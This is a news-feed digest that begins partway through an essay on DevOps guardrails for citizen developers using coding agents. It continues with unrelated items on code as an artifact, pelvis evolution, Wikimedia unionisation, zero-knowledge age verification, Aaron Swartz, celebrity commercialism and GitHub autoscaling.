"But the slop is dangerous." Yes. It is. Last October, researchers scanned 5,600 vibe-coded apps running in production and found more than 2,000 vulnerabilities, 400 leaked secrets, and 175 instances of exposed personal data, including medical records and bank account numbers. Moltbook leaked 1.5 million API tokens three days after launch through a Supabase key sitting in client-side JavaScript. Slop compounds, and anyone who has carried a pager knows a four-second decision is how you end up on an incident call two years later. The incident calls have started.

This is the same problem that created DevOps.

Developers wanted to ship faster than operations could safely absorb, and the industry's first answer was to block. Tickets, change advisory boards, walls. It didn't work. Developers did an end run around ops the same way citizens are routing around everyone now. DevOps was the eventual admission that the answer to a faster class of builder is a paved road, not a bigger gate. Build it so the fast path and the safe path are the same path. Plenty of organizations still struggle with that today, and now a new kind of builder is coming at them, faster than developers ever were, shipping straight to users without ever touching a server ops knows about. And the vendors are paving the on-ramp. Microsoft is shipping open source skill files that turn Claude Code and Copilot into Fabric-aware agents, so an analyst can stand up and query enterprise data workloads in plain English. The largest software company on earth wants more of these builders, not fewer.

So no, operations is not obsolete. I'd argue the opposite as loudly as I can. For thirty years, the thing that actually kept companies safe wasn't governance. It was scarcity. Only a handful of people could create software, so the blast radius stayed small enough to manage by hand. That scarcity is gone. When everyone in the org can ship an app, the guardrails are the only control left. DevOps just became the most important job in the building, and most ops teams don't know it yet. Neither do the frameworks. The CSA points out that none of the major AI security frameworks (NIST AI RMF, the OWASP LLM Top 10, CSA's own) offer dedicated guidance for citizen developers shipping without professional security oversight. The people writing the standards haven't caught up to the people writing the software.

You can't stop the citizens, and your CEO doesn't want you to. The job is to be the steward of the non-negotiables (security, cost, compliance) while the whole company builds around you at light speed. Get out of the way and stay in control at the same time.

But there's an obvious problem with saying "build guardrails": these people don't know who you are. They aren't using your platform, reading your docs, or filing your tickets. Most of them don't even know there's a DevOps team whose rules they're supposedly breaking.

So how the hell do you govern someone who doesn't know you exist?

The citizen doesn't know you exist

The old model of developer self-service still required the developer to know the paved road was there. Learn the platform, find the portal, use the right module, follow the docs.

That's already too much to ask of the person in sales who downloaded an agent because they wanted to fix a problem before lunch.

But there's now something sitting between that person and the infrastructure: the agent. Put Ops there.

If your company provides coding agents, give those agents a company-specific way to ship software. It doesn't need to start as some grand internal platform initiative. Give them one boring path you can support: one place apps can run, one way to deploy them, one way to handle identity and secrets, and a point where the agent knows to stop and ask a human. Then teach the agent that when somebody says "deploy this," that's what deployment means here.

The person in sales doesn't need to understand your cloud accounts, CI, networking, secrets management, or compliance requirements. They shouldn't have to. The agent can know which path to take and which things it isn't allowed to invent.

If you already have a platform, expose it to the agents instead of expecting a new class of builders to learn it. If you don't, start smaller. An agent with company instructions, a deployment workflow, and a handful of tools gets you a long way before you've built anything you'd put on a platform engineering roadmap.

This isn't absolute control. Someone determined to use a personal laptop, a personal account, and a personal credit card can still create shadow IT. They could twenty years ago too. But for the tools the company provides and the resources it owns, the safe path can finally live inside the tool the citizen is already using.

They don't need to know who Ops is. Their agent does.

They're not going back

You might laugh at these people. You might think the AI bubble is going to pop. It may. But the person in marketing has shipped an app now. The analyst who lived in spreadsheets has a working tool with her name on it. People do not hand back that kind of power once they've felt it, bubble or no bubble.

The citizen developer was always there. The tools just scaled them up to where nobody can miss them.

In 2009, John Allspaw and Paul Hammond stood on stage at Velocity and told a room full of engineers that Flickr was deploying more than ten times a day. Half the room heard recklessness. The industry's answer was to make deploying safe enough that the number stopped mattering: small blast radius, fast rollback, tooling everyone shared. Seventeen years later the number is coming back, except now it's ten deploys a day from sales, from claims, from that analyst. Ops is the only team in the building that can make that number boring .

Code as an Artifact

Hacker News
pradeeproark.com
2026-08-20 17:24:57
Comments...
Original Article
Code as an "artifact". Means to an end?
Matrix programmer as a binary stream.

Code as an "artifact". Means to an end?

Agentic LLM's have changed what "code" means. It used be the end product of the software engineering lifecycle is "code" 📜 and there are purported arguments claiming that it is no more as LLM's themselves write "code". What remains is the spec as the "code" can be regenerated in N number of ways on demand. 🔨

Does that mean "code" is irrelevant and as long as you have a golden spec to derive "machine instructions"? As mused over by Elon Musk

This is exactly right. Source code is on the verge of becoming like assembly.

The next step is getting rid of “source code” entirely and just making an efficient binary directly with AI. https://t.co/g004yjMF95

— Elon Musk (@elonmusk) August 3, 2026

But this is semantics, if you move programming into LLMS, then your instructions/prompt and context become the "code". Yes, one higher level of abstraction but still "code". Traditional programming languages MIGHT need to change to accept this new paradigm properly though but I don't think they are going away. Programming languages exist for a different purpose, to reduce ambiguity in "specification" in natural language. "English" is a notoriously ambiguous language and you need vast amount of context to interpret what is said. Programming languages have been trying to bridge this by reducing the language surface to smaller more semantically well understood bits so there is no ambiguity when it comes to execution of the code.

So in short programming languages are not going away, unless you are willing to "interpretation" of specs "over time" as acceptable.

P.S I do think LLMs can be trivially made to generate binaries, but what you "assert" that the "binary" will do depends still on "code" albeit at a higher level 👼

The Wonders of the Male Human Pelvis

Hacker News
nautil.us
2026-08-20 17:01:24
Comments...
Original Article

There’s a lot of research on the female pelvis, and for good reason. The so-called “ obstetrical dilemma ”—why childbirth seems particularly difficult for humans compared to other mammals—involves a lot of questions about evolutionary trade-offs, the development of the upright gait, cranium size, and the female pelvis. The male pelvis, on the other hand, has been relatively overlooked—until now. A new study published in Scientific Reports finds some fascinating evolutionary innovations that are unique to men’s pelvises.

An international team of researchers led by anthropologists from Tel Aviv University carefully analyzed 91 modern human pelvises (63 male, 28 female) and compared them with two complete male Neanderthal pelvises. According to the team, the male modern human pelvis is unique among the three, with hip sockets oriented more toward the front of the pelvis. They concluded this pelvic configuration constitutes an adaptation that benefits human locomotion.

Read more: “ How Walking Upright Made Early Humans Smart

Walking has been described as a series of controlled falls. When you walk, you destabilize your center of gravity, then interrupt an embarrassing trip to the ground by swinging your leg forward to catch yourself, and so on. During these controlled falls, your body drops downward, which both stresses your joints and requires energy to recover from.

Per the team, the unique architecture of the human male pelvis means we do a better job of dealing with both of these issues. Because our legs are positioned slightly more forward, our quads both absorb the shock of stepping and spring our bodies back upward. This more energy efficient gait may give men an advantage over long distances. Because they were constrained by the demands of childbirth, women’s pelvises weren’t able to develop these modifications, researchers say.

Additionally, these new findings could help inform further research with implications that go beyond human evolution. “Understanding the evolution of our walking mechanism can contribute to contemporary research in biomechanics, musculoskeletal medicine, rehabilitation, and injury prevention,” study author Ella Been of Ono Academic College explained in a statement . “The perspective provided by the Neanderthals helps us better understand the modern human body.”

It’s important to stay in touch with your own body—and sometimes it takes a look back at where we’ve been to understand how far we’ve come.

Enjoying Nautilus ? Subscribe to our free newsletter .

Lead image: peterschreiber.media / Adobe Stock

Ian Jackson: Open Letter to the Wikimedia Foundation Board

PlanetDebian
diziet.dreamwidth.org
2026-08-20 16:58:51
I have just sent an open letter to the Board of the Wikimedia Foundation, the umbrella organisation for Wikipedia (and a number of other projects), expressing my support for Wiki Workers United and the unionisation effort by WMF staff. Here is the letter: To: Board of Trustees, Wikimedia Fo...
Original Article

diziet: (Default)

[personal profile] diziet

I have just sent an open letter to the Board of the Wikimedia Foundation, the umbrella organisation for Wikipedia (and a number of other projects), expressing my support for Wiki Workers United and the unionisation effort by WMF staff.

Here is the letter:

To: Board of Trustees, Wikimedia Foundation

via Wikimedia_Foundation_Board_noticeboard and WWU
published at https://diziet.dreamwidth.org/21442.html

Re: My support for Wiki Workers United

Dear Trustees

Wikipedia has become one of the pillars of the free and open Internet. Across the world, reliable sources of information are under attack.

I'm proud to have played my very small part in the community of editors of English Wikipedia for the last 20 years. I am also proud of my contributions to the Free Software movement, including especially Debian. Debian, whose constitution and package installer I originally wrote, has become one of the technological foundations of the open Internet.

Unfortunately, there are signs that the Wikimedia Foundation is not performing its proper role as bulwark against attacks on democracy, including from moneyed interests. Recent events at WMF have been very alarming to me, and seem to form part of a disturbing trend.

As a Trustee Director of a UK charity myself, I understand that WMF Trustees must defend the interests of the Foundation. But that cannot mean taking actions that undermine the Foundation's mission. Nor can it mean the deplorable, and even dishonest, practices, that WMF appears to have been engaging in.

As a Wikipedian, as a Free Software activist, and as a citizen of the planet, I stand in solidarity with Wiki Workers United. Union- busting must stop immediately. The Foundation should immediately formally recognise the unions in the UK and the US.

Further, WMF is an international organisation. Collective decisionmaking needs to be transnational too. WMF should recognise WWU as a negotiating partner worldwide, even if thresholds for formal legal recognition are not met in individual national jurisdictions.

Wiki Workers are not the WMF's enemy. WMF needs capable and ideologically committed staff to maintain and operate its highly complex systems, in the face of constant attacks. Staff with principles and a mission are WMF's biggest asset.

Dr Ian Jackson
Cambridge, UK
20th August 2026

Zero-Knowledge Proofs Aren’t Age Verification Silver Bullets

Lobsters
www.eff.org
2026-08-20 16:48:12
Comments...
Original Article

Age verification (laws and regulations requiring platforms and websites to assure or estimate that a user seeking to use an online service is of a certain age) is everywhere. At the time of writing, about half the states in the US have some internet age verification law in place, and dangerous proposals, from the KIDS Act to the Kids Online Safety Act (KOSA), have been advancing at the federal level. European Union member states are moving toward having age verification in a centralized app by the end of this year. Australia famously now has one extremely broad restriction in place .

Most age verification laws tend to fail at their primary goal of barring kids from being online or from entering only specially designated zones, not to mention they pose a significant threat to everyone’s privacy. Some proponents of these age-based internet restrictions think they've found the silver bullet: Zero-Knowledge Proofs (ZKPs). We wrote about ZKP’s when they were first rolled out in the age verification context last year. However, more recent examples show our concerns weren’t just conjecture; ZKP-focused AV schemes are gameable , hackable, and not the cure-all some may claim.

ZKPs in Age Verification Would Only Centralize Power and Create More Harms

Before we jump into how these systems work, it must be said: creating a single point of failure for internet access contradicts the very idea of a free and open internet.

The mechanisms underlying ZKPs pose an existential threat to everyone’s digital rights, not just kids. The idea behind ZKPs is that you are issued a “token” that vouches for your age every time you log in, creating a constant link back to the entity that verified you. The issuer of the tokens these AV schemes rely on could track every time that credential is used, creating a dangerous trail of metadata on any user they wanted to target. The issuer itself could be pressured by authoritarian governments to remove a user's access to a service, essentially removing that person’s access to the internet entirely. Without oversight of who has authority to implement and operate these systems, this approach centralizes critical internet infrastructure in the hands of very few actors.

How ZKPs Work

ZKPs are mathematically impressive cryptographic tools—but they weren’t developed with age verification in mind. Essentially, they let a computer quickly attest to the validity of a given question asked by another computer without divulging any underlying private data.

Computer A (such as the device operated by a person trying to access a website) is able to prove to Computer B (such as the server for the website that person is trying to access) that something is true without actually sharing the contents of that information itself. Computer A locks in a "commitment" to the information it needs to convey. Computer B, which wants to verify that information, generates mathematical "challenges" that can be answered correctly only if the information is true. Traditionally, this happens over many different “challenges" until there is no room for doubt that Computer A’s "commitment" is true.

Since that kind of lengthy back-and-forth process would drastically slow things down over the internet, there's a shortened version of this exchange that's "non-interactive.” In that case, the ZKP is verified instantly. The answer itself is hashed (mathematically converted into a fixed, shorter string of characters), and the resulting hash is theoretically unpredictable and tamper-resistant. This shortened version of the ZKP exchange is called "zk-SNARK," which is the current preferred method for age verification.

In the ideal scenario, this means that ZKP’s are able to attest to a person’s status as an adult or a child without actually giving away any other private information about that person. In other words, only one entity would collect that private information, typically on the user’s device, instead of every website or app that needs the user’s age attested to. Unfortunately, recent real-world testing of these systems prove that ZKP’s aren’t the silver bullet that proponents of AV laws were hoping for.

EU’s AV Rollout Reveals How Broken It Is

By the end of 2026, the 27 states within the European Union are expected to have infrastructure in place to do age verification within a "mini-wallet" app that will live inside the EUDI (European Digital Identity) Wallet. This is being met with plenty of warranted criticism from digital rights experts . The "mini-wallet" version is already being rolled out, with promises that the ZKPs are in working order. But recent insights show that the ZKP features aren't yet turned on except for the closed demo/prototype build (not the version of the app people are using “out of the box”), which the vast majority of everyday users can’t access.

Worse still, a security researcher found they could bypass the app's system using a quickly built Chrome extension that tricked the app into repeatedly accepting the same "over-18" token. It did so without ever asking for fresh verification.

Over 400 security researchers signed an open letter stating that age assurance checkpoints, even if implemented with privacy in mind, would cause more harm than good. A primary focus of their concern, which we share, is the fact that a centralized identity verification system creates a single point of failure that is extremely vulnerable to both cyberattack and authoritarian overreach.

Once the "mini-wallet" version of this is fully integrated into the EUDI Wallet, it will replicate these same failures, perhaps more, but at a much larger scale. At that point, the failures will involve many more pieces of sensitive information that the EUDI Wallet contains: passports, driver's licenses, travel information, financial information, to name a few.

ZKP’s Aren’t The Magic Bullet

As we’ve said time and time again , no method of online age verification is privacy-protective, fully accurate, and capable of guaranteeing universal coverage without introducing severe security risks.

Lawmakers concerned about the privacy failures of age verification mandates must understand that ZKPs are not a magic bullet. They do not solve the age verification paradox; they simply push the burden of trust down the road, relying on technical ignorance and magical thinking about how the internet actually functions.

Mandatory online age verification of any kind is a dangerously flawed idea. Tell your lawmakers we said so.

You'll Literally Never Guess the Brooklyn Conservatory of Music's Centennial Baby

hellgate
hellgatenyc.com
2026-08-20 16:47:05
Hint: He lived in Gracie Mansion....
Original Article
You'll Literally Never Guess the Brooklyn Conservatory of Music's Centennial Baby
(Courtesy Dante de Blasio)

Cultural Capital

Hint: He lived in Gracie Mansion.

Hello, it's Adlan Jackson again. Welcome back to Cultural Capital, Hell Gate's still-kind-of-new, biweekly arts and culture newsletter, in which we deliver a critical eye on the city scene. Subscribe to it here . A little further down, we’ll give you nightlife recommendations, capsule reviews, and a recap of what’s come across New York City’s last real local culture desk. A few weeks ago, my friend who works at the Brooklyn Conservatory of Music mentioned that his co-workers wanted him to pitch this story to me, but he'd shot it down, thinking our friendship might make doing so awkward. I told him it's exactly the kind of thing I'm interested in. So, consider that my disclosure.

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Aaron Swartz was prosecuted for scraping, while Meta does it without consequence

Hacker News
blog.curiousquail.com
2026-08-20 16:07:26
Comments...
Original Article

Also here's a cool unrelated photo of a chipmunk

Photo of a small chipmunk eating a nut and sitting on a reddish bench Look at this little guy. They don't know what an AI model is and they're so much better off

It’s nothing short of an indictment of our society at large that Aaron Swartz, one of the co-creators of the RSS protocol (among many other things) was effectively assasinated by our legal system for “illegally” downloading about 70 gigabytes of academic articles from JSTOR - charged so excessively to be made an example of (we're talking 35 years in prison, $1million USD fine, and asset forfeiture) to the point where he felt the need to take his own life rather than deal with the court circus and impending financial ruin - while Facebook (oh I’m sorry Meta) has torrented 80 TERABYTES of books to train their AI models with virtually no consequences other than a court case they will most likely get some sort of financial slap on the wrist for while their AI models continue to print them money.

Swartz' use case was the dissemination and archival of knowledge; Meta's use case is powering up their proprietary plagiarism code that cooks the environment while giving CEO's psychosis and making one of the world's richest people even richer.

I never met Aaron but I get mad on his behalf so often and I don't know what to do with it other than get more radicalized.

Maybe that's for the best.


Anyway, here's your end-of-post cat photo. Her name is Lilith and she's wondering why we don't do something about all these tech billionares.

Photo of a calico cat sitting in a box and glaring


Stop Eating Lady Gaga's Oreos

Hacker News
www.experimental-history.com
2026-08-20 15:46:06
Comments...
Original Article
photo cred: my dad

Here’s a story from 30 years ago that would make no sense today.

It’s 1992. Pearl Jam’s debut album Ten is selling well. But then MTV puts the music video for their song “Jeremy” in heavy rotation, and the band rockets into superstardom—shows suddenly sold out, fans smashing record store windows, the whole shebang.

That’s familiar enough, but what happens next is not. Pearl Jam responds to this hullabaloo by refusing to make music videos for the next five years . They decline photoshoots and interviews. When their producer tells them that their song “Better Man” is a surefire hit, they cut it from their second album . 1 Nevertheless, that album sells nearly a million copies in its first week, setting a record. Then it sells six million more, staying at #1 on the Billboard chart for over a month.

They say that the past is a foreign country , and reading a Pearl Jam profile from the early 90s, it certainly feels that way. The writer takes for granted that fame is inherently bad. And not just because fans might, say, break into your backstage dressing room and steal your notebooks—which they did—but also because commercial success and artistic integrity are so obviously at odds with one another. Kurt Cobain had mocked the band for catering to the mainstream, and the criticism clearly stung. It was understood that being popular was somehow, paradoxically, uncool , and that Pearl Jam owed everyone assurances that they hadn’t gotten too big for their britches.

I am just barely old enough to remember this era, when “selling out” was a bad thing you did with your career, rather than a good thing you do with your stadium tour. Blank Space: A Cultural History of the 21st Century , the book where I first read this story about Pearl Jam, quotes the 90s chronicler Chuck Klosterman: “the concept of ‘selling out’ [...] is the single most nineties aspect of the nineties”. I gained consciousness at about the time that Backstreet Boys, NSYNC, and the Spice Girls gained worldwide fame, and I understood that it was hip to hate them. 2 This didn’t stop them from selling millions of records, of course. But there was a sizable sector of society that refused to join in, a clutch of (sometimes snobby) purists who were ready to turn on anyone who got too big or too rich. As the music writer Chris Dalla Riva points out, around this time, a rock band could lose permanently lose their street cred for appearing in a Miller commercial .

That feeling part of a larger anti-consumerist vibe percolating through culture at the time. This was the era of Super Size Me and the anti-World Trade Organization protests that came to be known as the Battle of Seattle . My parents furnished me with copies of Eric Schlosser’s Fast Food Nation and Naomi Klein’s anti-capitalist manifesto No Logo . 3 My English teacher made the whole class read anti-consumerist YA novels like Feed and The Gospel According to Larry . I got so caught up in the fervor that I almost showed up to a school dance with a handmade sign that said “I AM PROTESTING CONSUMERISM”. I chickened out at the last second, but clearly there was some potent zeitgeist going on if a 13-year-old was about to stake their reputation on, I guess, not buying stuff?

Fast forward to today, and that zeitgeist is long gone. Meghan Thee Stallion is a Popeyes franchisee , Drake would like you to try online gambling , and Maroon 5 is covering Bob Marley’s “Three Little Birds” as a tribute to Hyundai . 4 Shortly after she charted her first hit, the rapper Ice Spice was partnering with Ben Affleck and Dunkin’ Donuts on an Ice Spice Munchkins Drink . 5 We’ve got punk icon Iggy Pop selling insurance and Bob Dylan appearing in a Victoria’s Secret commercial . 6 Lollapalooza once featured alt rock and heavy metal; these days, you can catch a set by DJ D-Sol, better known as David Solomon, the CEO of Goldman Sachs . And if you love Lady Gaga’s album Chromatica and the associated HBO special Gaga Chromatica Ball , then don’t miss these limited edition Lady Gaga Chromatica -themed Oreos !

Hyper-commercialism is nothing new, in music or anywhere else. (See, for instance, the band KISS’ officially licensed Kiss Kasket ). People who bemoan our era of “late capitalism” rarely realize that phrase is 100 years old . The only thing that’s unprecedented about these craven cash-ins is how well they seem to be working . Selling out no longer carries a stigma—if anything, fans are excited for tie-ins between their favorite bands and their favorite brands, no matter how shameless. The Chromatica Oreos reportedly flew off the shelves, earning a thumbs-up even from the Washington Post ’s food critic . Some people complained about the texture and the color, or how it was simply a re-release of the much-hated “golden” Oreo , but they did not complain that it is cringe, perhaps even depraved, for a musician to collaborate with an international food conglomerate to stick her name on a million mass-produced sandwich cookies.

And if that doesn’t send Kurt Cobain spinning in his grave, wait until he finds out that Gen Z thinks Nirvana is a clothing brand .

How did the punk ethos die?

W. David Marx, the author of Blank Space , has a theory that I think is correct, but incomplete. He blames an ideology called poptimism : the idea that popular art (and especially pop music) is just as meritorious as any other kind of art. Poptimism was meant to be a reaction to rockism 7 , a strain of cultural snobbery that insisted rock ‘n’ roll was the only authentic form of art—if it ain’t a white guy with a guitar, it ain’t real music! Both sides of that debate might sound stupid now, but the poptimist critique made sense back when people were flocking to baseball stadiums to blow up piles of disco records :

These folks could use a dose of poptimism ( source )

Unfortunately, Marx says, the critics took poptimism too far, and they brought the discourse with them. They embraced pop music not only because they had suddenly discovered the musical genius of Britney Spears, but also because they realized the political winds had changed. In the words of one music writer, poptimism was “ a kind of penance, atoning for past rockist misdeeds ”. Saying that some art is better than other art started sounding too much like saying that some people are better than other people. And once you’re unwilling to judge art for its artistry, you’re stuck judging it by its popularity.

I don’t doubt Marx’s thesis that culture writers abandoned their posts, but I do doubt that this was enough to kill the anti-consumerist vibe on its own. Something even bigger was happening at the same time: while the critics were changing their tune, they were also getting tuned out. The internet decapitated art criticism, elevating the YouTube commenter to the same level as the Pitchfork editor. And although there are plenty of problems with professional tastemakers—they can be condescending and exclusionary, they can have their heads up their butts, etc.—they are at least, in theory, concerned with separating art from schlock.

Casual consumers have no such hangups. They don’t care whether every pop song they listen to is written by the same middle-aged Swedish guy ; they just want their eardrums vibrated, their retinas tickled, and their pleasure centers stimulated. And so, the more you cater to the consumer over the connoisseur, the more you’re going to be serving up slop. The internet makes this possible; competition makes it irresistible.

Together, the decline of art criticism and the ascent of art populism can explain how corny, lowest-common-denominator kitsch went from being a guilty pleasure to simply being a pleasure . The line separating art and entertainment went undefended, and then it was washed away by a tsunami of swill.

However, that doesn’t explain why we became so tolerant of shameless greed and self-promotion. As we lost the ability to distinguish between Joni Mitchell and Celine Dion, why did we also lose the ability to distinguish between a single and a jingle? Listening to Lady Gaga is one thing, but where did we acquire our appetite for her Oreos?

The answer to that is, I think, the Great Switcheroo.

In every country on Earth, poor people outnumber rich people. Many of those countries are ostensibly democratic. This leaves us with a puzzle: why don’t the poor people vote to take all the money away from the rich people and redistribute it amongst themselves?

John Steinbeck’s famous explanation was that, in the United States at least, poor people see themselves as “temporarily embarrassed millionaires”. 8 You don’t want to outlaw affluence if you might have some for yourself one day. That wasn’t a crazy thing to think when Steinbeck was writing in the 1930s, as some of the richest men in America had come from modest means—Rockefeller, Carnegie, Ford, Edison, Hershey, and Chrysler. If fortunes are popping into existence all the time, it may seem like the wealthy are a group to be joined rather than beaten.

The average American is not feeling so upwardly mobile these days, and so people aren’t as sanguine about the super-rich as they might have once been. When YouGov surveyed Americans about their opinions of 40 different rich people, not a single one of them was liked by more than 50% of the population. (For instance, 90% of respondents know who Jeff Bezos is, but only 19% approve of him). An increasing number of people—and especially young people—say that billionaires are a bad thing for the country:

As the public has soured on the rich, however, they seem to have sweetened on the famous. In similar YouGov polls , celebrities do extraordinarily well compared to billionaires. Lady Gaga, for instance, has 97% recognition and 61% approval. Samuel L. Jackson: 96% recognition, 81% approval. Even Paris Hilton’s 40% approval rate is better than every single rich person except Warren Buffet (he’s at 41%). 9 Not bad for someone who once described her life’s mission as, “I want to be famous. [...] And I want to monetize that, like a lot .” 10

This Great Switcheroo happened, I think, because as it got harder to become rich, it got easier to become famous. It’s hard to remember now, but going viral on the internet was once a bad thing. Back in 2002, when Star Wars Kid got famous for pretending to be Darth Maul in a home video, he got death threats, not brand deals. His classmates bullied him so badly that his family sued them; meanwhile, his school asked him not to come back . The “Numa Numa” Kid was originally “distraught” and “embarrassed” by his fame (he later tried to capitalize on it, mostly unsuccessfully). Afro Ninja, a Black stunt performer whose disastrous audition tape went viral, said of his unexpected notoriety, “If I had a choice to do it all over again [...] I would pass”.

Once the attention economy built out its financial infrastructure, however, overnight fame suddenly went from painful to profitable. The YouTube Partner Program ( 2007 ), Stripe ( 2010 ), and Patreon ( 2013 ) all made it easier to turn eyeballs into dollars. The first wave of internet celebrities peaked too early to cash in, but subsequent waves became icons rather than pariahs. Just as the Americans who lived through the Gilded Age watched industrial moguls build business empires, we watched tweens become millionaires in their bedrooms. They got Andrew Carnegie; we got Mr. Beast. 11

As a result, the attention economy is the one corner of the overall economy where people are still feeling upwardly mobile. 57% of Gen Z (and 41% of older adults!) say they would like to be influencers. And why not? You are not going to escape the underclass by driving an Uber or dusting the server racks at a data center, but you might be able to do it by posting mukbang videos .

I think this is why we now tolerate such blatant greed among famous people: we think we have a chance of becoming one of them. We once saw ourselves as temporarily embarrassed millionaires; now we see ourselves as temporarily unknown celebrities.

(Of course, the celebrities we look up to are also millionaires, but their riches are incidental to their fame, rather than the other way around.)

It doesn’t matter whether you’re actually trying to become TikTok famous. The fact that there is a path between us and the stars—however tenuous, however unlikely to be trod—makes it feel like they are, somehow, just like us. You and I could never be Jeff Bezos, Bill Gates, or Sam Altman, and so they seem distant and despicable. But some part of us believes that we could be Billie Eilish, Ed Sheeran, or Taylor Swift, and so we exempt them from the noblesse oblige that we used to demand of the aristocracy.

In fact, while most of us feel like billionaires owe us something (see: the California Billionaire Tax , heading to ballots this fall), many people apparently feel like they owe something to their favored celebrities. Millions of people have joined the ranks of fan clubs like the Rihanna Navy, the BTS Army, Ariana Grande’s Arianators 12 , Justin Bieber’s Beliebers, Beyoncé’s Beyhive, and so on. The paramilitary-esque branding of these groups is not accidental. These are the folks writing guides on how to inflate BTS’s streaming statistics, issuing death threats to a music writer who dared to give Taylor Swift an 8.0/10, and enlisting themselves as copyright police when an Ariana Grande album leaked early, hunting down and flagging links to the pirated music so it wouldn’t hurt her advance sales. As the author of that BTS guide put it in an interview with The New York Times , promoting her favorite band feels like “we are also promoting our own voices, our own struggles, our own hope for a better world.”

This has got to be the greatest marketing coup in history: convincing fans that they are “promoting their own voices” while they are helping a record executive afford his second yacht.

I’m being harsh, but look around: are you pleased with the state of our culture? Are you excited by music videos that double as commercials for Wonder Bread and Miracle Whip ? 13 Do you enjoy jockeying with ten million other people for Taylor Swift tickets, nine million of whom are attempting to invest in them as speculative assets? Does it warm your cockles when The Rock brags on Twitter that Red One , his Christmas movie, has “a long shelf life and multiple verticals - kudos to our Amazon partners for their strategic win”? This is what decades of poptimism, populism, and celebrity worship have gotten us:

If we want this to stop, the solution is simple: we have to stop eating Lady Gaga’s Oreos. We have to stop pretending that celebrities are just like us, and that their success is our success. We have to redraw the line between art and entertainment, and more importantly, we have to redraw the line between art and advertisement.

I have no problem with artists making money—everybody has to pay their rent somehow. I don’t even have a problem with artists getting rich—if you can write a song that makes the whole world sing, then you deserve a big fat check.

I have a problem with artists doing commerce under the guise of art. I listen, I read, and I watch because I want to inhabit, even if just for a moment, the mind of another human. I want to feel what it’s like to be them, and in so doing, I want to better understand what it’s like to be me. But if I journey to the center of someone’s psyche and all I find there is a billboard for Pizza Hut, I’m turning around. If your art is just one node in your business empire, if your albums are merely commercials for your cologne, if you’re trying to turn your first billion into your second billion, you are no longer an artist at all. You are a credit default swap with a discography attached.

If we can revive the stigma of selling out, maybe we can also revive the rest of the punk ethos that we seem to have lost. To the extent that anti-consumerist sentiment survives at all today, it mainly exists in two diminished forms. One is the environmentalist variant, which says it’s naughty to buy stuff not because it’s bad for your soul, but because it’s bad for the Earth. That’s a fine way to feel, but there are plenty of ways to sell your soul without increasing your carbon footprint.

The other is the anti-capitalist variant, which says it’s bad for rich people to have so much more money than poor people do. That’s also a fair critique, but if you’re not careful, you can make it sound like it’s actually awesome to own tons of stuff, and the only problem with Birkin bags and Patek Philippes is that some people don’t get to have them.

We’re missing the most potent part of that 90s counterculture, the part that said there’s nothing noble about the act of consumption itself. I’d like to live in a world where a heavy metal musician who shills for margarine would become a laughingstock rather than a millionaire. Our world used to be a little more like that, and I think it could be again. We don’t need to revive rockism—it was always stupid to think that you can only make good art with a Fender Stratocaster. But we do need to revive our desire for seriousness among our cultural elite. If we’re going to let these people into our lives, they ought to stand for something more than themselves. They should to be willing to put their art ahead of their pocketbook and their follower count. And, ideally, they should not also be the CEO of Goldman Sachs. I have seen the future that awaits us if we fail to bring punk back, and it looks like this:

[$] A look at the Quickshell desktop-component toolkit

Linux Weekly News
lwn.net
2026-08-20 15:39:51
Quickshell is a toolkit for building desktop components, such as toolbars or menus. It uses QML, which is a declarative language for designing GUI applications. Quickshell helps developers create graphical tools for common desktop use cases with a focus on ease of development. It offers a convenient...
Original Article
The page you have tried to view ( A look at the Quickshell desktop-component toolkit ) is currently available to LWN subscribers only. Reader subscriptions are a necessary way to fund the continued existence of LWN and the quality of its content.

If you are already an LWN.net subscriber, please log in with the form below to read this content.

Please consider subscribing to LWN . An LWN subscription provides numerous benefits, including access to restricted content and the warm feeling of knowing that you are helping to keep LWN alive.

(Alternatively, this item will become freely available on September 3, 2026)

GitHub, autoscaling, and the component substitution fallacy

Hacker News
surfingcomplexity.blog
2026-08-20 15:28:18
Comments...
Original Article

In yesterday’s post about the recent GitHub outage , there was a detail in the writeup that I didn’t say anything about: the autoscaling policy on the service with the saturated Istio sidecar.

Originally this was caused by an Istio sidecar pod reaching its concurrency limits and failing to auto scale correctly because of a misconfigured policy that watched host service but not sidecar limits.

I suspect readers of this blog are familiar with what autoscaling is and how it works, but here’s a brief summary in case you aren’t. The amount of compute and memory resources that a service requires depends on the load that’s placed on that service. The relevant source of load here is external requests against the service, also known as traffic . The volume of traffic varies over time. For example, for a company like GitHub, my guess is that they more traffic during working hours than evening and weekends.

Given that load changes dynamically, and that the compute and memory resources a service need is a function of load, there are two general strategies. One strategy is to provision your service for peak load. The other strategy is to dynamically adjust the resources allocated to your service, based on its current load; that’s called autoscaling .

If you want your service to use autoscaling, you need to define an autoscaling policy. In particular, you need to pick which metrics you want to use that represent load, and then you need to specify how resources should be added or removed based on how that metric changes.

CPU utilization is a common metric used for autoscaling. But note that a service can become saturated even if CPU is low. For example, imagine a scenario where you use thread-per-request with a threadpool, and the latency of your downstream requests increase, and all of the threads in the pool end up blocked. Here the service is saturated, and you’d benefit from spinning up new pods, but CPU is actually low, because the threads are blocked waiting on I/O (this happened to Slack back in 2021 ). Now, you can add additional rules to your autoscaling policy to handle such cases (which is what Slack did, where they rapidly scaled up based on number of threads). Or you can scale based on incoming request volume instead of CPU, if your service isn’t CPU-bound.

Based on the GitHub writeup, it sounds like the autoscaling policy for the impacted service used load metrics that only took into account load on the service itself, and not on the Istio sidecar.

In general, each service behaves differently under load, which means that every autoscaling policy is effectively bespoke. This means that a team that owns a service is not only responsible for the business logic, but also for an operational control system with custom parameters, that can really only be checked via load testing. (Are you doing load testing on all your services?) The service owners are also almost certainly not autoscaling experts. And so it’s not surprising to me that a misconfigured autoscaling policy was a contributor here.

But, while I think it’s worth discussing the particular defect with this policy, since it’s good for people to be aware of the risks of autoscaling, I also think it’s too easy to fixate on it to the exclusion of other factors involved in this incident. This is what David Woods refers to as the component substitution fallacy – the idea that the way to improve reliability is to focus efforts on identifying and fixing the defective components.

While, yes, you should identify and fix the defects uncovered by an incident, you should also recognize that:

This means that component defects aren’t enough to take down your system , or your system would be down right now. Don’t just look at the individual components: treat the interactions as first-class. In the GitHub outage, we see discussion of interactions between factors such as: changing traffic patterns (including scrapers), autoscaling policy, the Istio sidecar saturation, retry logic, HAProxy node saturation, and authentication traffic.

